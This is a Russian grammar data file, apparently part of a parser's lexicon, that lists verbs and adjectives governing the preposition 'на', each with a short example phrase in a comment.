rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА)
rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА)
прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА)
rus_verbs:посыпаться{}, // на Нину посыпались снежинки
инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод.
глагол:нарезаться{ вид:несоверш },
rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу
rus_verbs:показать{}, // Вадим показал на Колю
rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА)
rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на)
rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА)
rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА)
rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на)
rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА)
rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА)
rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на)
rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на)
rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на)
rus_verbs:прийтись{}, // Пятое число пришлось на субботу.
rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на)
rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на)
rus_verbs:верить{}, // верить людям на слово (верить на слово)
rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру.
rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору.
rus_verbs:пасть{}, // Жребий пал на меня.
rus_verbs:ездить{}, // Вчера мы ездили на оперу.
rus_verbs:влезть{}, // Мальчик влез на дерево.
rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу.
rus_verbs:разбиться{}, // окно разбилось на мелкие осколки
rus_verbs:бежать{}, // я бегу на урок
rus_verbs:сбегаться{}, // сбегаться на происшествие
rus_verbs:присылать{}, // присылать на испытание
rus_verbs:надавить{}, // надавить на педать
rus_verbs:внести{}, // внести законопроект на рассмотрение
rus_verbs:вносить{}, // вносить законопроект на рассмотрение
rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов
rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров
rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова
rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек.
rus_verbs:оглядываться{}, // оглядываться на девушек
rus_verbs:расходиться{}, // расходиться на отдых
rus_verbs:поскакать{}, // поскакать на службу
rus_verbs:прыгать{}, // прыгать на сцену
rus_verbs:приглашать{}, // приглашать на обед
rus_verbs:рваться{}, // Кусок ткани рвется на части
rus_verbs:понестись{}, // понестись на волю
rus_verbs:распространяться{}, // распространяться на всех жителей штата
инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш },
деепричастие:просыпавшись{}, деепричастие:просыпаясь{},
rus_verbs:заехать{}, // заехать на пандус
rus_verbs:разобрать{}, // разобрать на составляющие
rus_verbs:опускаться{}, // опускаться на колени
rus_verbs:переехать{}, // переехать на конспиративную квартиру
rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов
rus_verbs:поместить{}, // поместить на поднос
rus_verbs:отходить{}, // отходить на подготовленные позиции
rus_verbs:сыпаться{}, // сыпаться на плечи
rus_verbs:отвезти{}, // отвезти на занятия
rus_verbs:накинуть{}, // накинуть на плечи
rus_verbs:отлететь{}, // отлететь на пол
rus_verbs:закинуть{}, // закинуть на чердак
rus_verbs:зашипеть{}, // зашипеть на собаку
rus_verbs:прогреметь{}, // прогреметь на всю страну
rus_verbs:повалить{}, // повалить на стол
rus_verbs:опереть{}, // опереть на фундамент
rus_verbs:забросить{}, // забросить на антресоль
rus_verbs:подействовать{}, // подействовать на материал
rus_verbs:разделять{}, // разделять на части
rus_verbs:прикрикнуть{}, // прикрикнуть на детей
rus_verbs:разложить{}, // разложить на множители
rus_verbs:провожать{}, // провожать на работу
rus_verbs:катить{}, // катить на стройку
rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью
rus_verbs:сохранять{}, // сохранять на память
rus_verbs:злиться{}, // злиться на друга
rus_verbs:оборачиваться{}, // оборачиваться на свист
rus_verbs:сползти{}, // сползти на землю
rus_verbs:записывать{}, // записывать на ленту
rus_verbs:загнать{}, // загнать на дерево
rus_verbs:забормотать{}, // забормотать на ухо
rus_verbs:протиснуться{}, // протиснуться на самый край
rus_verbs:заторопиться{}, // заторопиться на вручение премии
rus_verbs:гаркнуть{}, // гаркнуть на шалунов
rus_verbs:навалиться{}, // навалиться на виновника всей толпой
rus_verbs:проскользнуть{}, // проскользнуть на крышу дома
rus_verbs:подтянуть{}, // подтянуть на палубу
rus_verbs:скатиться{}, // скатиться на двойки
rus_verbs:давить{}, // давить на жалость
rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства
rus_verbs:замахнуться{}, // замахнуться на святое
rus_verbs:заменить{}, // заменить на свежую салфетку
rus_verbs:свалить{}, // свалить на землю
rus_verbs:стекать{}, // стекать на оголенные провода
rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов
rus_verbs:развалиться{}, // развалиться на части
rus_verbs:сердиться{}, // сердиться на товарища
rus_verbs:обронить{}, // обронить на пол
rus_verbs:подсесть{}, // подсесть на наркоту
rus_verbs:реагировать{}, // реагировать на импульсы
rus_verbs:отпускать{}, // отпускать на волю
rus_verbs:прогнать{}, // прогнать на рабочее место
rus_verbs:ложить{}, // ложить на стол
rus_verbs:рвать{}, // рвать на части
rus_verbs:разлететься{}, // разлететься на кусочки
rus_verbs:превышать{}, // превышать на существенную величину
rus_verbs:сбиться{}, // сбиться на рысь
rus_verbs:пристроиться{}, // пристроиться на хорошую работу
rus_verbs:удрать{}, // удрать на пастбище
rus_verbs:толкать{}, // толкать на преступление
rus_verbs:посматривать{}, // посматривать на экран
rus_verbs:набирать{}, // набирать на судно
rus_verbs:отступать{}, // отступать на дерево
rus_verbs:подуть{}, // подуть на молоко
rus_verbs:плеснуть{}, // плеснуть на голову
rus_verbs:соскользнуть{}, // соскользнуть на землю
rus_verbs:затаить{}, // затаить на кого-то обиду
rus_verbs:обижаться{}, // обижаться на Колю
rus_verbs:смахнуть{}, // смахнуть на пол
rus_verbs:застегнуть{}, // застегнуть на все пуговицы
rus_verbs:спускать{}, // спускать на землю
rus_verbs:греметь{}, // греметь на всю округу
rus_verbs:скосить{}, // скосить на соседа глаз
rus_verbs:отважиться{}, // отважиться на прыжок
rus_verbs:литься{}, // литься на землю
rus_verbs:порвать{}, // порвать на тряпки
rus_verbs:проследовать{}, // проследовать на сцену
rus_verbs:надевать{}, // надевать на голову
rus_verbs:проскочить{}, // проскочить на красный свет
rus_verbs:прилечь{}, // прилечь на диванчик
rus_verbs:разделиться{}, // разделиться на небольшие группы
rus_verbs:завыть{}, // завыть на луну
rus_verbs:переносить{}, // переносить на другую машину
rus_verbs:наговорить{}, // наговорить на сотню рублей
rus_verbs:намекать{}, // намекать на новые обстоятельства
rus_verbs:нападать{}, // нападать на охранников
rus_verbs:убегать{}, // убегать на другое место
rus_verbs:тратить{}, // тратить на развлечения
rus_verbs:присаживаться{}, // присаживаться на корточки
rus_verbs:переместиться{}, // переместиться на вторую линию
rus_verbs:завалиться{}, // завалиться на диван
rus_verbs:удалиться{}, // удалиться на покой
rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов
rus_verbs:обрушить{}, // обрушить на голову
rus_verbs:резать{}, // резать на части
rus_verbs:умчаться{}, // умчаться на юг
rus_verbs:навернуться{}, // навернуться на камень
rus_verbs:примчаться{}, // примчаться на матч
rus_verbs:издавать{}, // издавать на собственные средства
rus_verbs:переключить{}, // переключить на другой язык
rus_verbs:отправлять{}, // отправлять на пенсию
rus_verbs:залечь{}, // залечь на дно
rus_verbs:установиться{}, // установиться на диск
rus_verbs:направлять{}, // направлять на дополнительное обследование
rus_verbs:разрезать{}, // разрезать на части
rus_verbs:оскалиться{}, // оскалиться на прохожего
rus_verbs:рычать{}, // рычать на пьяных
rus_verbs:погружаться{}, // погружаться на дно
rus_verbs:опираться{}, // опираться на костыли
rus_verbs:поторопиться{}, // поторопиться на учебу
rus_verbs:сдвинуться{}, // сдвинуться на сантиметр
rus_verbs:увеличить{}, // увеличить на процент
rus_verbs:опускать{}, // опускать на землю
rus_verbs:созвать{}, // созвать на митинг
rus_verbs:делить{}, // делить на части
rus_verbs:пробиться{}, // пробиться на заключительную часть
rus_verbs:простираться{}, // простираться на много миль
rus_verbs:забить{}, // забить на учебу
rus_verbs:переложить{}, // переложить на чужие плечи
rus_verbs:грохнуться{}, // грохнуться на землю
rus_verbs:прорваться{}, // прорваться на сцену
rus_verbs:разлить{}, // разлить на землю
rus_verbs:укладываться{}, // укладываться на ночевку
rus_verbs:уволить{}, // уволить на пенсию
rus_verbs:наносить{}, // наносить на кожу
rus_verbs:набежать{}, // набежать на берег
rus_verbs:заявиться{}, // заявиться на стрельбище
rus_verbs:налиться{}, // налиться на крышку
rus_verbs:надвигаться{}, // надвигаться на берег
rus_verbs:распустить{}, // распустить на каникулы
rus_verbs:переключиться{}, // переключиться на другую задачу
rus_verbs:чихнуть{}, // чихнуть на окружающих
rus_verbs:шлепнуться{}, // шлепнуться на спину
rus_verbs:устанавливать{}, // устанавливать на крышу
rus_verbs:устанавливаться{}, // устанавливаться на крышу
rus_verbs:устраиваться{}, // устраиваться на работу
rus_verbs:пропускать{}, // пропускать на стадион
инфинитив:сбегать{ вид:соверш }, глагол:сбегать{ вид:соверш }, // сбегать на фильм
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш },
деепричастие:сбегав{}, деепричастие:сбегая{},
rus_verbs:показываться{}, // показываться на глаза
rus_verbs:прибегать{}, // прибегать на урок
rus_verbs:съездить{}, // съездить на ферму
rus_verbs:прославиться{}, // прославиться на всю страну
rus_verbs:опрокинуться{}, // опрокинуться на спину
rus_verbs:насыпать{}, // насыпать на землю
rus_verbs:употреблять{}, // употреблять на корм скоту
rus_verbs:пристроить{}, // пристроить на работу
rus_verbs:заворчать{}, // заворчать на вошедшего
rus_verbs:завязаться{}, // завязаться на поставщиков
rus_verbs:сажать{}, // сажать на стул
rus_verbs:напрашиваться{}, // напрашиваться на жесткие ответные меры
rus_verbs:заменять{}, // заменять на исправную
rus_verbs:нацепить{}, // нацепить на голову
rus_verbs:сыпать{}, // сыпать на землю
rus_verbs:закрываться{}, // закрываться на ремонт
rus_verbs:распространиться{}, // распространиться на всю популяцию
rus_verbs:поменять{}, // поменять на велосипед
rus_verbs:пересесть{}, // пересесть на велосипеды
rus_verbs:подоспеть{}, // подоспеть на разбор
rus_verbs:шипеть{}, // шипеть на собак
rus_verbs:поделить{}, // поделить на части
rus_verbs:подлететь{}, // подлететь на расстояние выстрела
rus_verbs:нажимать{}, // нажимать на все кнопки
rus_verbs:распасться{}, // распасться на части
rus_verbs:приволочь{}, // приволочь на диван
rus_verbs:пожить{}, // пожить на один доллар
rus_verbs:устремляться{}, // устремляться на свободу
rus_verbs:смахивать{}, // смахивать на пол
rus_verbs:забежать{}, // забежать на обед
rus_verbs:увеличиться{}, // увеличиться на существенную величину
rus_verbs:прокрасться{}, // прокрасться на склад
rus_verbs:пущать{}, // пущать на постой
rus_verbs:отклонить{}, // отклонить на несколько градусов
rus_verbs:насмотреться{}, // насмотреться на безобразия
rus_verbs:настроить{}, // настроить на короткие волны
rus_verbs:уменьшиться{}, // уменьшиться на пару сантиметров
rus_verbs:поменяться{}, // поменяться на другую книжку
rus_verbs:расколоться{}, // расколоться на части
rus_verbs:разлиться{}, // разлиться на землю
rus_verbs:срываться{}, // срываться на жену
rus_verbs:осудить{}, // осудить на пожизненное заключение
rus_verbs:передвинуть{}, // передвинуть на первое место
rus_verbs:допускаться{}, // допускаться на полигон
rus_verbs:задвинуть{}, // задвинуть на полку
rus_verbs:повлиять{}, // повлиять на оценку
rus_verbs:отбавлять{}, // отбавлять на осмотр
rus_verbs:сбрасывать{}, // сбрасывать на землю
rus_verbs:накинуться{}, // накинуться на случайных прохожих
rus_verbs:пролить{}, // пролить на кожу руки
rus_verbs:затащить{}, // затащить на сеновал
rus_verbs:перебежать{}, // перебежать на сторону противника
rus_verbs:наливать{}, // наливать на скатерть
rus_verbs:пролезть{}, // пролезть на сцену
rus_verbs:откладывать{}, // откладывать на черный день
rus_verbs:распадаться{}, // распадаться на небольшие фрагменты
rus_verbs:перечислить{}, // перечислить на счет
rus_verbs:закачаться{}, // закачаться на верхний уровень
rus_verbs:накрениться{}, // накрениться на правый борт
rus_verbs:подвинуться{}, // подвинуться на один уровень
rus_verbs:разнести{}, // разнести на мелкие кусочки
rus_verbs:зажить{}, // зажить на широкую ногу
rus_verbs:оглохнуть{}, // оглохнуть на правое ухо
rus_verbs:посетовать{}, // посетовать на бюрократизм
rus_verbs:уводить{}, // уводить на осмотр
rus_verbs:ускакать{}, // ускакать на забег
rus_verbs:посветить{}, // посветить на стену
rus_verbs:разрываться{}, // разрываться на части
rus_verbs:побросать{}, // побросать на землю
rus_verbs:карабкаться{}, // карабкаться на скалу
rus_verbs:нахлынуть{}, // нахлынуть на кого-то
rus_verbs:разлетаться{}, // разлетаться на мелкие осколочки
rus_verbs:среагировать{}, // среагировать на сигнал
rus_verbs:претендовать{}, // претендовать на приз
rus_verbs:дунуть{}, // дунуть на одуванчик
rus_verbs:переводиться{}, // переводиться на другую работу
rus_verbs:перевезти{}, // перевезти на другую площадку
rus_verbs:топать{}, // топать на урок
rus_verbs:относить{}, // относить на склад
rus_verbs:сбивать{}, // сбивать на землю
rus_verbs:укладывать{}, // укладывать на спину
rus_verbs:укатить{}, // укатить на отдых
rus_verbs:убирать{}, // убирать на полку
rus_verbs:опасть{}, // опасть на землю
rus_verbs:ронять{}, // ронять на снег
rus_verbs:пялиться{}, // пялиться на тело
rus_verbs:глазеть{}, // глазеть на тело
rus_verbs:снижаться{}, // снижаться на безопасную высоту
rus_verbs:запрыгнуть{}, // запрыгнуть на платформу
rus_verbs:разбиваться{}, // разбиваться на главы
rus_verbs:сгодиться{}, // сгодиться на фарш
rus_verbs:перескочить{}, // перескочить на другую страницу
rus_verbs:нацелиться{}, // нацелиться на главную добычу
rus_verbs:заезжать{}, // заезжать на бордюр
rus_verbs:забираться{}, // забираться на крышу
rus_verbs:проорать{}, // проорать на всё село
rus_verbs:сбежаться{}, // сбежаться на шум
rus_verbs:сменять{}, // сменять на хлеб
rus_verbs:мотать{}, // мотать на ус
rus_verbs:раскалываться{}, // раскалываться на две половинки
rus_verbs:коситься{}, // коситься на режиссёра
rus_verbs:плевать{}, // плевать на законы
rus_verbs:ссылаться{}, // ссылаться на авторитетное мнение
rus_verbs:наставить{}, // наставить на путь истинный
rus_verbs:завывать{}, // завывать на Луну
rus_verbs:опаздывать{}, // опаздывать на совещание
rus_verbs:залюбоваться{}, // залюбоваться на пейзаж
rus_verbs:повергнуть{}, // повергнуть на землю
rus_verbs:надвинуть{}, // надвинуть на лоб
rus_verbs:стекаться{}, // стекаться на площадь
rus_verbs:обозлиться{}, // обозлиться на тренера
rus_verbs:оттянуть{}, // оттянуть на себя
rus_verbs:истратить{}, // истратить на дешевых шлюх
rus_verbs:вышвырнуть{}, // вышвырнуть на улицу
rus_verbs:затолкать{}, // затолкать на верхнюю полку
rus_verbs:заскочить{}, // заскочить на огонек
rus_verbs:проситься{}, // проситься на улицу
rus_verbs:натыкаться{}, // натыкаться на борщевик
rus_verbs:обрушиваться{}, // обрушиваться на митингующих
rus_verbs:переписать{}, // переписать на чистовик
rus_verbs:переноситься{}, // переноситься на другое устройство
rus_verbs:напроситься{}, // напроситься на обидный ответ
rus_verbs:натягивать{}, // натягивать на ноги
rus_verbs:кидаться{}, // кидаться на прохожих
rus_verbs:откликаться{}, // откликаться на призыв
rus_verbs:поспевать{}, // поспевать на балет
rus_verbs:обратиться{}, // обратиться на кафедру
rus_verbs:полюбоваться{}, // полюбоваться на бюст
rus_verbs:таращиться{}, // таращиться на мустангов
rus_verbs:напороться{}, // напороться на колючки
rus_verbs:раздать{}, // раздать на руки
rus_verbs:дивиться{}, // дивиться на танцовщиц
rus_verbs:назначать{}, // назначать на ответственнейший пост
rus_verbs:кидать{}, // кидать на балкон
rus_verbs:нахлобучить{}, // нахлобучить на башку
rus_verbs:увлекать{}, // увлекать на луг
rus_verbs:ругнуться{}, // ругнуться на животину
rus_verbs:переселиться{}, // переселиться на хутор
rus_verbs:разрывать{}, // разрывать на части
rus_verbs:утащить{}, // утащить на дерево
rus_verbs:наставлять{}, // наставлять на путь
rus_verbs:соблазнить{}, // соблазнить на обмен
rus_verbs:накладывать{}, // накладывать на рану
rus_verbs:набрести{}, // набрести на грибную поляну
rus_verbs:наведываться{}, // наведываться на прежнюю работу
rus_verbs:погулять{}, // погулять на чужие деньги
rus_verbs:уклоняться{}, // уклоняться на два градуса влево
rus_verbs:слезать{}, // слезать на землю
rus_verbs:клевать{}, // клевать на мотыля
// rus_verbs:назначаться{}, // назначаться на пост
rus_verbs:напялить{}, // напялить на голову
rus_verbs:натянуться{}, // натянуться на рамку
rus_verbs:разгневаться{}, // разгневаться на придворных
rus_verbs:эмигрировать{}, // эмигрировать на Кипр
rus_verbs:накатить{}, // накатить на основу
rus_verbs:пригнать{}, // пригнать на пастбище
rus_verbs:обречь{}, // обречь на мучения
rus_verbs:сокращаться{}, // сокращаться на четверть
rus_verbs:оттеснить{}, // оттеснить на пристань
rus_verbs:подбить{}, // подбить на аферу
rus_verbs:заманить{}, // заманить на дерево
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на кустик
// деепричастие:пописав{ aux stress="поп^исать" },
rus_verbs:посходить{}, // посходить на перрон
rus_verbs:налечь{}, // налечь на мясцо
rus_verbs:отбирать{}, // отбирать на флот
rus_verbs:нашептывать{}, // нашептывать на ухо
rus_verbs:откладываться{}, // откладываться на будущее
rus_verbs:залаять{}, // залаять на грабителя
rus_verbs:настроиться{}, // настроиться на прием
rus_verbs:разбивать{}, // разбивать на куски
rus_verbs:пролиться{}, // пролиться на почву
rus_verbs:сетовать{}, // сетовать на объективные трудности
rus_verbs:подвезти{}, // подвезти на митинг
rus_verbs:припереться{}, // припереться на праздник
rus_verbs:подталкивать{}, // подталкивать на прыжок
rus_verbs:прорываться{}, // прорываться на сцену
rus_verbs:снижать{}, // снижать на несколько процентов
rus_verbs:нацелить{}, // нацелить на танк
rus_verbs:расколоть{}, // расколоть на два куска
rus_verbs:увозить{}, // увозить на обкатку
rus_verbs:оседать{}, // оседать на дно
rus_verbs:съедать{}, // съедать на ужин
rus_verbs:навлечь{}, // навлечь на себя
rus_verbs:равняться{}, // равняться на лучших
rus_verbs:сориентироваться{}, // сориентироваться на местности
rus_verbs:снизить{}, // снизить на несколько процентов
rus_verbs:перенестись{}, // перенестись на много лет назад
rus_verbs:завезти{}, // завезти на склад
rus_verbs:проложить{}, // проложить на гору
rus_verbs:понадеяться{}, // понадеяться на удачу
rus_verbs:заступить{}, // заступить на вахту
rus_verbs:засеменить{}, // засеменить на выход
rus_verbs:запирать{}, // запирать на ключ
rus_verbs:скатываться{}, // скатываться на землю
rus_verbs:дробить{}, // дробить на части
rus_verbs:разваливаться{}, // разваливаться на кусочки
rus_verbs:завозиться{}, // завозиться на склад
rus_verbs:нанимать{}, // нанимать на дневную работу
rus_verbs:поспеть{}, // поспеть на концерт
rus_verbs:променять{}, // променять на сытость
rus_verbs:переправить{}, // переправить на север
rus_verbs:налетать{}, // налетать на силовое поле
rus_verbs:затворить{}, // затворить на замок
rus_verbs:подогнать{}, // подогнать на пристань
rus_verbs:наехать{}, // наехать на камень
rus_verbs:распевать{}, // распевать на разные голоса
rus_verbs:разносить{}, // разносить на клочки
rus_verbs:преувеличивать{}, // преувеличивать на много килограммов
rus_verbs:хромать{}, // хромать на одну ногу
rus_verbs:телеграфировать{}, // телеграфировать на базу
rus_verbs:порезать{}, // порезать на лоскуты
rus_verbs:порваться{}, // порваться на части
rus_verbs:загонять{}, // загонять на дерево
rus_verbs:отбывать{}, // отбывать на место службы
rus_verbs:усаживаться{}, // усаживаться на трон
rus_verbs:накопить{}, // накопить на квартиру
rus_verbs:зыркнуть{}, // зыркнуть на визитера
rus_verbs:копить{}, // копить на машину
rus_verbs:помещать{}, // помещать на верхнюю грань
rus_verbs:сползать{}, // сползать на снег
rus_verbs:попроситься{}, // попроситься на улицу
rus_verbs:перетащить{}, // перетащить на чердак
rus_verbs:растащить{}, // растащить на сувениры
rus_verbs:ниспадать{}, // ниспадать на землю
rus_verbs:сфотографировать{}, // сфотографировать на память
rus_verbs:нагонять{}, // нагонять на конкурентов страх
rus_verbs:покушаться{}, // покушаться на понтифика
rus_verbs:покуситься{},
rus_verbs:наняться{}, // наняться на службу
rus_verbs:просачиваться{}, // просачиваться на поверхность
rus_verbs:пускаться{}, // пускаться на ветер
rus_verbs:отваживаться{}, // отваживаться на прыжок
rus_verbs:досадовать{}, // досадовать на объективные трудности
rus_verbs:унестись{}, // унестись на небо
rus_verbs:ухудшаться{}, // ухудшаться на несколько процентов
rus_verbs:насадить{}, // насадить на копьё
rus_verbs:нагрянуть{}, // нагрянуть на праздник
rus_verbs:зашвырнуть{}, // зашвырнуть на полку
rus_verbs:грешить{}, // грешить на постояльцев
rus_verbs:просочиться{}, // просочиться на поверхность
rus_verbs:надоумить{}, // надоумить на глупость
rus_verbs:намотать{}, // намотать на шпиндель
rus_verbs:замкнуть{}, // замкнуть на корпус
rus_verbs:цыкнуть{}, // цыкнуть на детей
rus_verbs:переворачиваться{}, // переворачиваться на спину
rus_verbs:соваться{}, // соваться на площать
rus_verbs:отлучиться{}, // отлучиться на обед
rus_verbs:пенять{}, // пенять на себя
rus_verbs:нарезать{}, // нарезать на ломтики
rus_verbs:поставлять{}, // поставлять на Кипр
rus_verbs:залезать{}, // залезать на балкон
rus_verbs:отлучаться{}, // отлучаться на обед
rus_verbs:сбиваться{}, // сбиваться на шаг
rus_verbs:таращить{}, // таращить глаза на вошедшего
rus_verbs:прошмыгнуть{}, // прошмыгнуть на кухню
rus_verbs:опережать{}, // опережать на пару сантиметров
rus_verbs:переставить{}, // переставить на стол
rus_verbs:раздирать{}, // раздирать на части
rus_verbs:затвориться{}, // затвориться на засовы
rus_verbs:материться{}, // материться на кого-то
rus_verbs:наскочить{}, // наскочить на риф
rus_verbs:набираться{}, // набираться на борт
rus_verbs:покрикивать{}, // покрикивать на помощников
rus_verbs:заменяться{}, // заменяться на более новый
rus_verbs:подсадить{}, // подсадить на верхнюю полку
rus_verbs:проковылять{}, // проковылять на кухню
rus_verbs:прикатить{}, // прикатить на старт
rus_verbs:залететь{}, // залететь на чужую территорию
rus_verbs:загрузить{}, // загрузить на конвейер
rus_verbs:уплывать{}, // уплывать на материк
rus_verbs:опозорить{}, // опозорить на всю деревню
rus_verbs:провоцировать{}, // провоцировать на ответную агрессию
rus_verbs:забивать{}, // забивать на учебу
rus_verbs:набегать{}, // набегать на прибрежные деревни
rus_verbs:запираться{}, // запираться на ключ
rus_verbs:фотографировать{}, // фотографировать на мыльницу
rus_verbs:подымать{}, // подымать на недосягаемую высоту
rus_verbs:съезжаться{}, // съезжаться на симпозиум
rus_verbs:отвлекаться{}, // отвлекаться на игру
rus_verbs:проливать{}, // проливать на брюки
rus_verbs:спикировать{}, // спикировать на зазевавшегося зайца
rus_verbs:уползти{}, // уползти на вершину холма
rus_verbs:переместить{}, // переместить на вторую палубу
rus_verbs:превысить{}, // превысить на несколько метров
rus_verbs:передвинуться{}, // передвинуться на соседнюю клетку
rus_verbs:спровоцировать{}, // спровоцировать на бросок
rus_verbs:сместиться{}, // сместиться на соседнюю клетку
rus_verbs:заготовить{}, // заготовить на зиму
rus_verbs:плеваться{}, // плеваться на пол
rus_verbs:переселить{}, // переселить на север
rus_verbs:напирать{}, // напирать на дверь
rus_verbs:переезжать{}, // переезжать на другой этаж
rus_verbs:приподнимать{}, // приподнимать на несколько сантиметров
rus_verbs:трогаться{}, // трогаться на красный свет
rus_verbs:надвинуться{}, // надвинуться на глаза
rus_verbs:засмотреться{}, // засмотреться на купальники
rus_verbs:убыть{}, // убыть на фронт
rus_verbs:передвигать{}, // передвигать на второй уровень
rus_verbs:отвозить{}, // отвозить на свалку
rus_verbs:обрекать{}, // обрекать на гибель
rus_verbs:записываться{}, // записываться на танцы
rus_verbs:настраивать{}, // настраивать на другой диапазон
rus_verbs:переписывать{}, // переписывать на диск
rus_verbs:израсходовать{}, // израсходовать на гонки
rus_verbs:обменять{}, // обменять на перспективного игрока
rus_verbs:трубить{}, // трубить на всю округу
rus_verbs:набрасываться{}, // набрасываться на жертву
rus_verbs:чихать{}, // чихать на правила
rus_verbs:наваливаться{}, // наваливаться на рычаг
rus_verbs:сподобиться{}, // сподобиться на повторный анализ
rus_verbs:намазать{}, // намазать на хлеб
rus_verbs:прореагировать{}, // прореагировать на вызов
rus_verbs:зачислить{}, // зачислить на факультет
rus_verbs:наведаться{}, // наведаться на склад
rus_verbs:откидываться{}, // откидываться на спинку кресла
rus_verbs:захромать{}, // захромать на левую ногу
rus_verbs:перекочевать{}, // перекочевать на другой берег
rus_verbs:накатываться{}, // накатываться на песчаный берег
rus_verbs:приостановить{}, // приостановить на некоторое время
rus_verbs:запрятать{}, // запрятать на верхнюю полочку
rus_verbs:прихрамывать{}, // прихрамывать на правую ногу
rus_verbs:упорхнуть{}, // упорхнуть на свободу
rus_verbs:расстегивать{}, // расстегивать на пальто
rus_verbs:напуститься{}, // напуститься на бродягу
rus_verbs:накатывать{}, // накатывать на оригинал
rus_verbs:наезжать{}, // наезжать на простофилю
rus_verbs:тявкнуть{}, // тявкнуть на подошедшего человека
rus_verbs:отрядить{}, // отрядить на починку
rus_verbs:положиться{}, // положиться на главаря
rus_verbs:опрокидывать{}, // опрокидывать на голову
rus_verbs:поторапливаться{}, // поторапливаться на рейс
rus_verbs:налагать{}, // налагать на заемщика
rus_verbs:скопировать{}, // скопировать на диск
rus_verbs:опадать{}, // опадать на землю
rus_verbs:купиться{}, // купиться на посулы
rus_verbs:гневаться{}, // гневаться на слуг
rus_verbs:слететься{}, // слететься на раздачу
rus_verbs:убавить{}, // убавить на два уровня
rus_verbs:спихнуть{}, // спихнуть на соседа
rus_verbs:накричать{}, // накричать на ребенка
rus_verbs:приберечь{}, // приберечь на ужин
rus_verbs:приклеить{}, // приклеить на ветровое стекло
rus_verbs:ополчиться{}, // ополчиться на посредников
rus_verbs:тратиться{}, // тратиться на сувениры
rus_verbs:слетаться{}, // слетаться на свет
rus_verbs:доставляться{}, // доставляться на базу
rus_verbs:поплевать{}, // поплевать на руки
rus_verbs:огрызаться{}, // огрызаться на замечание
rus_verbs:попереться{}, // попереться на рынок
rus_verbs:растягиваться{}, // растягиваться на полу
rus_verbs:повергать{}, // повергать на землю
rus_verbs:ловиться{}, // ловиться на мотыля
rus_verbs:наседать{}, // наседать на обороняющихся
rus_verbs:развалить{}, // развалить на кирпичи
rus_verbs:разломить{}, // разломить на несколько частей
rus_verbs:примерить{}, // примерить на себя
rus_verbs:лепиться{}, // лепиться на стену
rus_verbs:скопить{}, // скопить на старость
rus_verbs:затратить{}, // затратить на ликвидацию последствий
rus_verbs:притащиться{}, // притащиться на гулянку
rus_verbs:осерчать{}, // осерчать на прислугу
rus_verbs:натравить{}, // натравить на медведя
rus_verbs:ссыпать{}, // ссыпать на землю
rus_verbs:подвозить{}, // подвозить на пристань
rus_verbs:мобилизовать{}, // мобилизовать на сборы
rus_verbs:смотаться{}, // смотаться на работу
rus_verbs:заглядеться{}, // заглядеться на девчонок
rus_verbs:таскаться{}, // таскаться на работу
rus_verbs:разгружать{}, // разгружать на транспортер
rus_verbs:потреблять{}, // потреблять на кондиционирование
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять на базу
деепричастие:сгоняв{},
rus_verbs:посылаться{}, // посылаться на разведку
rus_verbs:окрыситься{}, // окрыситься на кого-то
rus_verbs:отлить{}, // отлить на сковороду
rus_verbs:шикнуть{}, // шикнуть на детишек
rus_verbs:уповать{}, // уповать на бескорысную помощь
rus_verbs:класться{}, // класться на стол
rus_verbs:поковылять{}, // поковылять на выход
rus_verbs:навевать{}, // навевать на собравшихся скуку
rus_verbs:накладываться{}, // накладываться на грунтовку
rus_verbs:наноситься{}, // наноситься на чистую кожу
// rus_verbs:запланировать{}, // запланировать на среду
rus_verbs:кувыркнуться{}, // кувыркнуться на землю
rus_verbs:гавкнуть{}, // гавкнуть на хозяина
rus_verbs:перестроиться{}, // перестроиться на новый лад
rus_verbs:расходоваться{}, // расходоваться на образование
rus_verbs:дуться{}, // дуться на бабушку
